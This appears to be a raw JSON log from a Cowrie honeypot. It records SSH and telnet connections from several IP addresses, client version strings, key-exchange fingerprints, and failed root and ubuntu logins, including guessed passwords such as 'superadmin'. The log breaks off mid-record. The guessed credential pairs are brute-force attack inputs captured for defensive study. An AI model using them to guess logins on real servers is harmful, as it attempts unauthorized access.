{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:fa:c8:e8:63:a8:30:7e:b1:e0:d4:3a:65:f3:4e:a3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIihzgAWsk8C3+RNm3nXUh4zeL5UGlV44BGa5YLU+KuE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.859742Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:e3:9f:f4:0b:fe:9f:86:db:ff:7a:dd:c2:ab:1d:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuezpq0lgALauWx6fVBBH2/csnL4DXo4ZjsTpuuv0WViMQdJGoa5Ccwnow91p6o6uxcO0/OlEBo3jk0uG4SkugABuWtRfehy03NQI3LTnd38uimBGTtFkAxoUWp+Gmp9T16pLAlFj0cj3awxod497QCUM+LWeloN5DRpMfCnl0ztDclm/b4fVulDjweSu46wOE2CmNMgMrjpLTIevANeurA1/okiKPqcUvhEMuYoLcxxegRY0xVYoait5JzCE3xfMv1qldKmRB2lAb05QU3EH2YOFm+EPOXhQfuKXVwGXwgHBZ1y3lIuWlSa7zShr74Hi7DxxwoBlHs1cNHmyUCxXGw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:e3:9f:f4:0b:fe:9f:86:db:ff:7a:dd:c2:ab:1d:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.948711Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:e3:9f:f4:0b:fe:9f:86:db:ff:7a:dd:c2:ab:1d:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuezpq0lgALauWx6fVBBH2/csnL4DXo4ZjsTpuuv0WViMQdJGoa5Ccwnow91p6o6uxcO0/OlEBo3jk0uG4SkugABuWtRfehy03NQI3LTnd38uimBGTtFkAxoUWp+Gmp9T16pLAlFj0cj3awxod497QCUM+LWeloN5DRpMfCnl0ztDclm/b4fVulDjweSu46wOE2CmNMgMrjpLTIevANeurA1/okiKPqcUvhEMuYoLcxxegRY0xVYoait5JzCE3xfMv1qldKmRB2lAb05QU3EH2YOFm+EPOXhQfuKXVwGXwgHBZ1y3lIuWlSa7zShr74Hi7DxxwoBlHs1cNHmyUCxXGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:20.952781Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:8e:a2:e8:cd:41:87:ef:ab:57:85:77:22:98:a6:92","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP/k8/n+quytlXmLEQ6BeHAg/pjuQ2wF6k7WSaA7QtQkxFCbwMYnGT77bvsD1iOAu+F27TrWWsRkIh4Jq7LYAVZwVKbPmGzjFkLieQAynCaa4Y8ra5m1bCkDcXCq4KEKlOaMD4mi2r02njczTZ5O8HCnf+GrcI/xrLRs7WVw6D8zAAAAFQDlst4HOPlBd3s4Bb5JON9M6hog1wAAAIEAokoyZkkJlB1C/6SS82NLG4P0X5gQaEGP2gvaz59ENqHHCt5qyEvZfFu2MAX33Qe0zemnb26u7ytbpMomOYJdriY5Bya3aR0qZ+Ef8dg9SXIsVMCXjPc4arVm/00qVzkA2iyk8o1p6TAGb2zBm5Z7N1c0fNMJS53doL38gcuMKUoAAACBAK50mEtmNM1zDpPpfoeusnI2KilBG+MiJDStKux+sr3iecy8Ncxqd7/oukj35KRokuTndiUY5azo+/fbpJ9Yatl2J9Fw7Jt+DMazZrEeWw9GbwC8edyhzmqihLV0w4PDBEnLtIxBowXn4y6aGbLxgYJLqt5kU2A0AOKtTK26wjPK","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint cf:8e:a2:e8:cd:41:87:ef:ab:57:85:77:22:98:a6:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:21.041145Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:8e:a2:e8:cd:41:87:ef:ab:57:85:77:22:98:a6:92","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP/k8/n+quytlXmLEQ6BeHAg/pjuQ2wF6k7WSaA7QtQkxFCbwMYnGT77bvsD1iOAu+F27TrWWsRkIh4Jq7LYAVZwVKbPmGzjFkLieQAynCaa4Y8ra5m1bCkDcXCq4KEKlOaMD4mi2r02njczTZ5O8HCnf+GrcI/xrLRs7WVw6D8zAAAAFQDlst4HOPlBd3s4Bb5JON9M6hog1wAAAIEAokoyZkkJlB1C/6SS82NLG4P0X5gQaEGP2gvaz59ENqHHCt5qyEvZfFu2MAX33Qe0zemnb26u7ytbpMomOYJdriY5Bya3aR0qZ+Ef8dg9SXIsVMCXjPc4arVm/00qVzkA2iyk8o1p6TAGb2zBm5Z7N1c0fNMJS53doL38gcuMKUoAAACBAK50mEtmNM1zDpPpfoeusnI2KilBG+MiJDStKux+sr3iecy8Ncxqd7/oukj35KRokuTndiUY5azo+/fbpJ9Yatl2J9Fw7Jt+DMazZrEeWw9GbwC8edyhzmqihLV0w4PDBEnLtIxBowXn4y6aGbLxgYJLqt5kU2A0AOKtTK26wjPK","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:21.045086Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:cc:72:01:8e:63:30:ab:21:47:f8:ed:a1:ed:ff:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1db+A8yT6PyNGB+U8hqKrPIAD6inpcVgl+krONRJrudEt5Jhqb0KHmLQFx+ey45Ni7vfZP8l7DtngexmdtvVl16TQuMwM7yBqrKIAHksPoD6gGkUeTgSG6fmomGbVF4kAlkDlxplby3jGNDHVsMl2kaUOa7N25bLVBY0OGY92pjYPMo1QwbowCOHoNODRizwOlMdLWgMLwYdY7kL3HRObhb6lBjMXWHt5O9lR3ZR5n6AbOUuqXrbdVZB5Nph6OBIHtJ86idM0ux2mBSoTrxzUmmt+iioUu+Jxw+ueV0qBTPfajVr8D5mCUTsdD/FRk1VyCASLlx7x/alSpNLGz1H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:cc:72:01:8e:63:30:ab:21:47:f8:ed:a1:ed:ff:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:21.135763Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:cc:72:01:8e:63:30:ab:21:47:f8:ed:a1:ed:ff:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1db+A8yT6PyNGB+U8hqKrPIAD6inpcVgl+krONRJrudEt5Jhqb0KHmLQFx+ey45Ni7vfZP8l7DtngexmdtvVl16TQuMwM7yBqrKIAHksPoD6gGkUeTgSG6fmomGbVF4kAlkDlxplby3jGNDHVsMl2kaUOa7N25bLVBY0OGY92pjYPMo1QwbowCOHoNODRizwOlMdLWgMLwYdY7kL3HRObhb6lBjMXWHt5O9lR3ZR5n6AbOUuqXrbdVZB5Nph6OBIHtJ86idM0ux2mBSoTrxzUmmt+iioUu+Jxw+ueV0qBTPfajVr8D5mCUTsdD/FRk1VyCASLlx7x/alSpNLGz1H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:21.139735Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:21.227950Z","src_ip":"141.95.34.214","session":"72852d633fb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60538,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b8ade40791","protocol":"ssh","message":"New connection: 194.59.206.2:60538 (10.17.0.5:22) [session: b9b8ade40791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:23.371804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:23.375774Z","src_ip":"194.59.206.2","session":"b9b8ade40791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:23.461125Z","src_ip":"194.59.206.2","session":"b9b8ade40791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:13:23.551239Z","src_ip":"194.59.206.2","session":"b9b8ade40791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01414561271667,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:14:05.918263Z","src_ip":"212.55.149.117","session":"f410a2ca1f77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":32415,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e17a3b93986","protocol":"telnet","message":"New connection: 212.55.149.117:32415 (10.17.0.5:23) [session: 4e17a3b93986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:14:07.712074Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":52134,"dst_ip":"159.203.135.109","dst_port":22,"session":"7088c112e182","protocol":"ssh","message":"New connection: 103.63.108.25:52134 (159.203.135.109:22) [session: 7088c112e182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:14:10.545736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:14:10.550517Z","src_ip":"103.63.108.25","session":"7088c112e182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:14:10.835829Z","src_ip":"103.63.108.25","session":"7088c112e182","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:14:11.975728Z","src_ip":"103.63.108.25","session":"7088c112e182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:14:13.261267Z","src_ip":"103.63.108.25","session":"7088c112e182","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.96001100540161,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:15:08.671986Z","src_ip":"212.55.149.117","session":"4e17a3b93986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":46598,"dst_ip":"159.203.135.109","dst_port":22,"session":"511c705c41cc","protocol":"ssh","message":"New connection: 103.63.108.25:46598 (159.203.135.109:22) [session: 511c705c41cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:15:14.908827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:15:14.916916Z","src_ip":"103.63.108.25","session":"511c705c41cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:15:15.190657Z","src_ip":"103.63.108.25","session":"511c705c41cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superadmin","message":"login attempt [root/superadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:15:16.293559Z","src_ip":"103.63.108.25","session":"511c705c41cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:15:17.575011Z","src_ip":"103.63.108.25","session":"511c705c41cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":56754,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d4da646577","protocol":"ssh","message":"New connection: 103.63.108.25:56754 (159.203.135.109:22) [session: a9d4da646577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:15.046718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:15.054758Z","src_ip":"103.63.108.25","session":"a9d4da646577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:15.324423Z","src_ip":"103.63.108.25","session":"a9d4da646577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu21","message":"login attempt [ubuntu/ubuntu21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:16.429471Z","src_ip":"103.63.108.25","session":"a9d4da646577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:17.706728Z","src_ip":"103.63.108.25","session":"a9d4da646577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":53668,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1e58512a140","protocol":"ssh","message":"New connection: 79.127.181.103:53668 (159.203.135.109:22) [session: b1e58512a140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:50.649976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:50.857823Z","src_ip":"79.127.181.103","session":"b1e58512a140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:51.060845Z","src_ip":"79.127.181.103","session":"b1e58512a140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:51.066273Z","src_ip":"79.127.181.103","session":"b1e58512a140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.122","src_port":58540,"dst_ip":"10.17.0.5","dst_port":23,"session":"3324d27c1f0d","protocol":"telnet","message":"New connection: 65.49.1.122:58540 (10.17.0.5:23) [session: 3324d27c1f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:53.949665Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:53.955025Z","src_ip":"65.49.1.122","session":"3324d27c1f0d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:53.959137Z","src_ip":"65.49.1.122","session":"3324d27c1f0d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:53.966370Z","src_ip":"65.49.1.122","session":"3324d27c1f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09187102317810059,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:16:54.041395Z","src_ip":"65.49.1.122","session":"3324d27c1f0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.8.175.28","src_port":60054,"dst_ip":"10.17.0.5","dst_port":22,"session":"edc830a5db51","protocol":"ssh","message":"New connection: 190.8.175.28:60054 (10.17.0.5:22) [session: edc830a5db51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:02.619994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:02.625068Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2